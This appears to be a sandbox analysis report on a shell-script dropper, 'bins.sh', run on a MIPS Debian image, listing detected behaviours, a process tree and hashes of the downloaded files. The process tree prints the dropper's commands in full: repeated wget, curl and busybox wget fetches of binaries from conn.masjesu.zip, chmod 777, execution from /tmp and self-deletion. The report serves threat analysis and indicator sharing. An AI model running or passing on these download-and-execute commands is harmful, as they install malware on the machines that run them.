Analysis

  • max time kernel
    150s
  • max time network
    100s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    02/11/2024, 00:36

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241102-ayc13symfj
  • SHA256 e82a1e48e0d4764bd4ecdb085a656f4c4e9fa0ce58893c809482ccc8f4e69f09
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Reads runtime system information 13 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 38 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:713
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:719
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/bXIRFRPv3OTTb3yteONjI7dItvhHjly9Iw
          2⤵
          • System Network Configuration Discovery
          PID:721
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/bXIRFRPv3OTTb3yteONjI7dItvhHjly9Iw
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/bXIRFRPv3OTTb3yteONjI7dItvhHjly9Iw
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:739
        • /bin/chmod
          chmod 777 bXIRFRPv3OTTb3yteONjI7dItvhHjly9Iw
          2⤵
          • File and Directory Permissions Modification
          PID:743
        • /tmp/bXIRFRPv3OTTb3yteONjI7dItvhHjly9Iw
          ./bXIRFRPv3OTTb3yteONjI7dItvhHjly9Iw
          2⤵
          • Executes dropped EXE
          PID:744
        • /bin/rm
          rm bXIRFRPv3OTTb3yteONjI7dItvhHjly9Iw
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/QtvcFUzMZS6ukLvuJznOaskzMGlnYPsJY8
            2⤵
            • System Network Configuration Discovery
            PID:747
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/QtvcFUzMZS6ukLvuJznOaskzMGlnYPsJY8
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:750
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/QtvcFUzMZS6ukLvuJznOaskzMGlnYPsJY8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 QtvcFUzMZS6ukLvuJznOaskzMGlnYPsJY8
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/QtvcFUzMZS6ukLvuJznOaskzMGlnYPsJY8
            ./QtvcFUzMZS6ukLvuJznOaskzMGlnYPsJY8
            2⤵
            • Executes dropped EXE
            PID:754
          • /bin/rm
            rm QtvcFUzMZS6ukLvuJznOaskzMGlnYPsJY8
            2⤵
              PID:756
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/Gkx35P0US2jchv36HKI6uKBHkXcXDePHHL
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:757
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/Gkx35P0US2jchv36HKI6uKBHkXcXDePHHL
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:758
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/Gkx35P0US2jchv36HKI6uKBHkXcXDePHHL
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:760
            • /bin/chmod
              chmod 777 Gkx35P0US2jchv36HKI6uKBHkXcXDePHHL
              2⤵
              • File and Directory Permissions Modification
              PID:761
            • /tmp/Gkx35P0US2jchv36HKI6uKBHkXcXDePHHL
              ./Gkx35P0US2jchv36HKI6uKBHkXcXDePHHL
              2⤵
              • Executes dropped EXE
              PID:762
            • /bin/rm
              rm Gkx35P0US2jchv36HKI6uKBHkXcXDePHHL
              2⤵
                PID:764
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/gdD3VDV7XNJKs62nSzVTVvQtFWOwKaJ2FC
                2⤵
                • System Network Configuration Discovery
                PID:765
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/gdD3VDV7XNJKs62nSzVTVvQtFWOwKaJ2FC
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:769
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/gdD3VDV7XNJKs62nSzVTVvQtFWOwKaJ2FC
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:771
              • /bin/chmod
                chmod 777 gdD3VDV7XNJKs62nSzVTVvQtFWOwKaJ2FC
                2⤵
                • File and Directory Permissions Modification
                PID:775
              • /tmp/gdD3VDV7XNJKs62nSzVTVvQtFWOwKaJ2FC
                ./gdD3VDV7XNJKs62nSzVTVvQtFWOwKaJ2FC
                2⤵
                • Executes dropped EXE
                PID:777
              • /bin/rm
                rm gdD3VDV7XNJKs62nSzVTVvQtFWOwKaJ2FC
                2⤵
                  PID:780
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/T9TFeJIUdEBGwHMc90yPaGSSD5HvpbxLws
                  2⤵
                  • System Network Configuration Discovery
                  PID:781
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/T9TFeJIUdEBGwHMc90yPaGSSD5HvpbxLws
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:787
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/T9TFeJIUdEBGwHMc90yPaGSSD5HvpbxLws
                  2⤵
                  • System Network Configuration Discovery
                  PID:794
                • /bin/chmod
                  chmod 777 T9TFeJIUdEBGwHMc90yPaGSSD5HvpbxLws
                  2⤵
                  • File and Directory Permissions Modification
                  PID:797
                • /tmp/T9TFeJIUdEBGwHMc90yPaGSSD5HvpbxLws
                  ./T9TFeJIUdEBGwHMc90yPaGSSD5HvpbxLws
                  2⤵
                  • Executes dropped EXE
                  PID:799
                • /bin/rm
                  rm T9TFeJIUdEBGwHMc90yPaGSSD5HvpbxLws
                  2⤵
                    PID:801
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/hPUwbsZlDJm728SLojOnxLDckgUAxgqhsB
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:803
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/hPUwbsZlDJm728SLojOnxLDckgUAxgqhsB
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:811
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/hPUwbsZlDJm728SLojOnxLDckgUAxgqhsB
                    2⤵
                    • System Network Configuration Discovery
                    PID:823
                  • /bin/chmod
                    chmod 777 hPUwbsZlDJm728SLojOnxLDckgUAxgqhsB
                    2⤵
                    • File and Directory Permissions Modification
                    PID:826
                  • /tmp/hPUwbsZlDJm728SLojOnxLDckgUAxgqhsB
                    ./hPUwbsZlDJm728SLojOnxLDckgUAxgqhsB
                    2⤵
                    • Executes dropped EXE
                    PID:828
                  • /bin/rm
                    rm hPUwbsZlDJm728SLojOnxLDckgUAxgqhsB
                    2⤵
                      PID:830
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/xHtuhxvB6U1Q2TrcYG3w7YvV1mM4e4NP0a
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:832
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/xHtuhxvB6U1Q2TrcYG3w7YvV1mM4e4NP0a
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:837
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/xHtuhxvB6U1Q2TrcYG3w7YvV1mM4e4NP0a
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:840
                    • /bin/chmod
                      chmod 777 xHtuhxvB6U1Q2TrcYG3w7YvV1mM4e4NP0a
                      2⤵
                      • File and Directory Permissions Modification
                      PID:841
                    • /tmp/xHtuhxvB6U1Q2TrcYG3w7YvV1mM4e4NP0a
                      ./xHtuhxvB6U1Q2TrcYG3w7YvV1mM4e4NP0a
                      2⤵
                      • Executes dropped EXE
                      PID:842
                    • /bin/rm
                      rm xHtuhxvB6U1Q2TrcYG3w7YvV1mM4e4NP0a
                      2⤵
                        PID:844
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/Zyel4ejaVtANiUoCXSvsYo18Sg57UhR97v
                        2⤵
                        • System Network Configuration Discovery
                        PID:845
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/Zyel4ejaVtANiUoCXSvsYo18Sg57UhR97v
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:846
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/Zyel4ejaVtANiUoCXSvsYo18Sg57UhR97v
                        2⤵
                        • System Network Configuration Discovery
                        PID:848
                      • /bin/chmod
                        chmod 777 Zyel4ejaVtANiUoCXSvsYo18Sg57UhR97v
                        2⤵
                        • File and Directory Permissions Modification
                        PID:849
                      • /tmp/Zyel4ejaVtANiUoCXSvsYo18Sg57UhR97v
                        ./Zyel4ejaVtANiUoCXSvsYo18Sg57UhR97v
                        2⤵
                        • Executes dropped EXE
                        PID:850
                      • /bin/rm
                        rm Zyel4ejaVtANiUoCXSvsYo18Sg57UhR97v
                        2⤵
                          PID:852
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/UlpQAKYZxZ6S7UHrRw0UwPP6nY8BqIDUeY
                          2⤵
                          • System Network Configuration Discovery
                          PID:853
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/UlpQAKYZxZ6S7UHrRw0UwPP6nY8BqIDUeY
                          2⤵
                          • Reads runtime system information
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:854
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/UlpQAKYZxZ6S7UHrRw0UwPP6nY8BqIDUeY
                          2⤵
                          • System Network Configuration Discovery
                          PID:860
                        • /bin/chmod
                          chmod 777 UlpQAKYZxZ6S7UHrRw0UwPP6nY8BqIDUeY
                          2⤵
                          • File and Directory Permissions Modification
                          PID:863
                        • /tmp/UlpQAKYZxZ6S7UHrRw0UwPP6nY8BqIDUeY
                          ./UlpQAKYZxZ6S7UHrRw0UwPP6nY8BqIDUeY
                          2⤵
                          • Executes dropped EXE
                          PID:864
                        • /bin/rm
                          rm UlpQAKYZxZ6S7UHrRw0UwPP6nY8BqIDUeY
                          2⤵
                            PID:867
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/xm6wytSIW1N6t4fNCgLqZAyEzVCbEPl08Z
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:869
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/xm6wytSIW1N6t4fNCgLqZAyEzVCbEPl08Z
                            2⤵
                            • Reads runtime system information
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:877
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/xm6wytSIW1N6t4fNCgLqZAyEzVCbEPl08Z
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:886
                          • /bin/chmod
                            chmod 777 xm6wytSIW1N6t4fNCgLqZAyEzVCbEPl08Z
                            2⤵
                            • File and Directory Permissions Modification
                            PID:890
                          • /tmp/xm6wytSIW1N6t4fNCgLqZAyEzVCbEPl08Z
                            ./xm6wytSIW1N6t4fNCgLqZAyEzVCbEPl08Z
                            2⤵
                            • Executes dropped EXE
                            PID:891
                          • /bin/rm
                            rm xm6wytSIW1N6t4fNCgLqZAyEzVCbEPl08Z
                            2⤵
                              PID:894
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/GFo8ORcw9uSMLEc7IKaW7CfAAbejkFZ6kP
                              2⤵
                              • System Network Configuration Discovery
                              PID:895
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/GFo8ORcw9uSMLEc7IKaW7CfAAbejkFZ6kP
                              2⤵
                              • Reads runtime system information
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:900
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/GFo8ORcw9uSMLEc7IKaW7CfAAbejkFZ6kP
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:902
                            • /bin/chmod
                              chmod 777 GFo8ORcw9uSMLEc7IKaW7CfAAbejkFZ6kP
                              2⤵
                              • File and Directory Permissions Modification
                              PID:903
                            • /tmp/GFo8ORcw9uSMLEc7IKaW7CfAAbejkFZ6kP
                              ./GFo8ORcw9uSMLEc7IKaW7CfAAbejkFZ6kP
                              2⤵
                              • Executes dropped EXE
                              PID:904
                            • /bin/rm
                              rm GFo8ORcw9uSMLEc7IKaW7CfAAbejkFZ6kP
                              2⤵
                                PID:906
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/LVnZ28XrHS5LD3IbxZYUTICu2m0PICQLc1
                                2⤵
                                • System Network Configuration Discovery
                                PID:907
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/LVnZ28XrHS5LD3IbxZYUTICu2m0PICQLc1
                                2⤵
                                • Reads runtime system information
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:908
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/LVnZ28XrHS5LD3IbxZYUTICu2m0PICQLc1
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:910
                              • /bin/chmod
                                chmod 777 LVnZ28XrHS5LD3IbxZYUTICu2m0PICQLc1
                                2⤵
                                • File and Directory Permissions Modification
                                PID:911
                              • /tmp/LVnZ28XrHS5LD3IbxZYUTICu2m0PICQLc1
                                ./LVnZ28XrHS5LD3IbxZYUTICu2m0PICQLc1
                                2⤵
                                • Executes dropped EXE
                                PID:912
                              • /bin/rm
                                rm LVnZ28XrHS5LD3IbxZYUTICu2m0PICQLc1
                                2⤵
                                  PID:914
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/uDOgt98tJ85TWl82oFb6R2JBqzZ6ZpaPgb
                                  2⤵
                                  • System Network Configuration Discovery
                                  • Writes file to tmp directory
                                  PID:915
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/uDOgt98tJ85TWl82oFb6R2JBqzZ6ZpaPgb
                                  2⤵
                                  • Reads runtime system information
                                  • System Network Configuration Discovery
                                  PID:916

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    Gkx35P0US2jchv36HKI6uKBHkXcXDePHHL

                                    • Path /tmp/Gkx35P0US2jchv36HKI6uKBHkXcXDePHHL
                                    • Size 129KB
                                    • SHA256 b62a7cb65dda1cb1ae995b13b62d20289f43b7bc560211484cfdc98c0d9b5f12
                                    • MD5 SHA1 SHA512 SSDEEP

                                    LVnZ28XrHS5LD3IbxZYUTICu2m0PICQLc1

                                    • Path /tmp/LVnZ28XrHS5LD3IbxZYUTICu2m0PICQLc1
                                    • Size 122KB
                                    • SHA256 b254f9a6df1e7aae5181abf014b9d574c959ab71bdfd3a2b21022446c583d843
                                    • MD5 SHA1 SHA512 SSDEEP

                                    T9TFeJIUdEBGwHMc90yPaGSSD5HvpbxLws

                                    • Path /tmp/T9TFeJIUdEBGwHMc90yPaGSSD5HvpbxLws
                                    • Size 80KB
                                    • SHA256 100042d7138b4348a13c54c191d501d125b7fea7631382e7d0e9d7251057ce97
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Zyel4ejaVtANiUoCXSvsYo18Sg57UhR97v

                                    • Path /tmp/Zyel4ejaVtANiUoCXSvsYo18Sg57UhR97v
                                    • Size 101KB
                                    • SHA256 617734b61c7e230a72fba8cb8b361bda96cc2d8f40ee358c44a60f1d9b48ab07
                                    • MD5 SHA1 SHA512 SSDEEP

                                    bXIRFRPv3OTTb3yteONjI7dItvhHjly9Iw

                                    • Path /tmp/bXIRFRPv3OTTb3yteONjI7dItvhHjly9Iw
                                    • Size 16B
                                    • SHA256 17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5
                                    • MD5 SHA1 SHA512

                                    gdD3VDV7XNJKs62nSzVTVvQtFWOwKaJ2FC

                                    • Path /tmp/gdD3VDV7XNJKs62nSzVTVvQtFWOwKaJ2FC
                                    • Size 88KB
                                    • SHA256 a585eff62bec554d3d7f23aaf9b298a15eb328e8968352339db915ef427f27bd
                                    • MD5 SHA1 SHA512 SSDEEP

                                    hPUwbsZlDJm728SLojOnxLDckgUAxgqhsB

                                    • Path /tmp/hPUwbsZlDJm728SLojOnxLDckgUAxgqhsB
                                    • Size 158KB
                                    • SHA256 f09f8db2883da603f963189ef3b8185b179832de8b2e526ef63fe8b96847cc7b
                                    • MD5 SHA1 SHA512 SSDEEP

                                    uDOgt98tJ85TWl82oFb6R2JBqzZ6ZpaPgb

                                    • Path /tmp/uDOgt98tJ85TWl82oFb6R2JBqzZ6ZpaPgb
                                    • Size 100KB
                                    • SHA256 d52f8bcb15a590aa5624c446091f1cd0705b68e4647debaeecf8cfa1fe425bd2
                                    • MD5 SHA1 SHA512 SSDEEP

                                    xHtuhxvB6U1Q2TrcYG3w7YvV1mM4e4NP0a

                                    • Path /tmp/xHtuhxvB6U1Q2TrcYG3w7YvV1mM4e4NP0a
                                    • Size 93KB
                                    • SHA256 24689f385c263c42a28dd1498049171abc633faf91b5df2a738a81145d929bd6
                                    • MD5 SHA1 SHA512 SSDEEP

                                    xm6wytSIW1N6t4fNCgLqZAyEzVCbEPl08Z

                                    • Path /tmp/xm6wytSIW1N6t4fNCgLqZAyEzVCbEPl08Z
                                    • Size 95KB
                                    • SHA256 adb7828df990cedc9f301891e725c547656967d827ce9cfdf3f6e8fa8242618b
                                    • MD5 SHA1 SHA512 SSDEEP